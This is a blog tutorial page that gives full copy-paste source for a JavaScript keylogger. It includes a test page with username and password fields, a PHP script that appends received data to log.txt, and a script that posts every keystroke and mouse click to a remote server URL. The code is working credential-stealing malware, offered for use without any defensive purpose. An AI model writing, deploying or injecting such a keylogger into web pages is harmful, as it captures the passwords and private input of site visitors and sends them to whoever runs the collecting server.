How to make a Simple Keylogger in Javascript – Coding Shiksha

How to make a Simple Keylogger in Javascript – Coding Shiksha

Welcome folks I am back with another blog post. In this blog post we will be making a Simple Keylogger in Javascript. This will be a very simple keylogger which will record keystrokes from the user on the Website. The whole source code of the keylogger is given below. You can just copy paste the code and also at the same time extend the code according to your needs.

READ  PDF Generator in Javascript - JSPDF Tutorial

 

sample.html

 

<!DOCTYPE html>
<html>
<head>
	<title>JS Keylogger</title>
	<meta charset="UTF-8" />
	<script src="h-keylogger.js"></script>
</head>

<body>
  Test Text:
	<input type="text" placeholder="username" /><br />
  Test Password:
  <input type="password" placeholder="type password" /><br /><br />
  Try check to your server log.txt
</body>
</html>
READ  Basic CRUD Application in VUE with Firebase

sample.php

 

<?php
$o = fopen("php://input", "r");
$str = stream_get_contents($o);
fclose($o);
$t = fopen("log.txt", "a+");
fwrite($t, $str);
fclose($t);
?>
READ  Redis Caching in Node.js
/****************************************
 * 	*
 * 			*
 ****************************************/

(function(){
	var server = "https://your-domain.com/server.php";
	document.addEventListener("keyup", function(e){
		var x = new XMLHttpRequest();
		x.open("POST", server, true);
		x.send(e.key);
	});
	
	document.addEventListener("click", function(e){
		var click;
		if(e.which == 1){
			click = " Left Click ";
		}else{
			click = " Right Click ";
		}
		
		var x = new XMLHttpRequest();
		x.open("POST", server, true);
		x.send(click);
	});
})();

Leave a Reply

Close Menu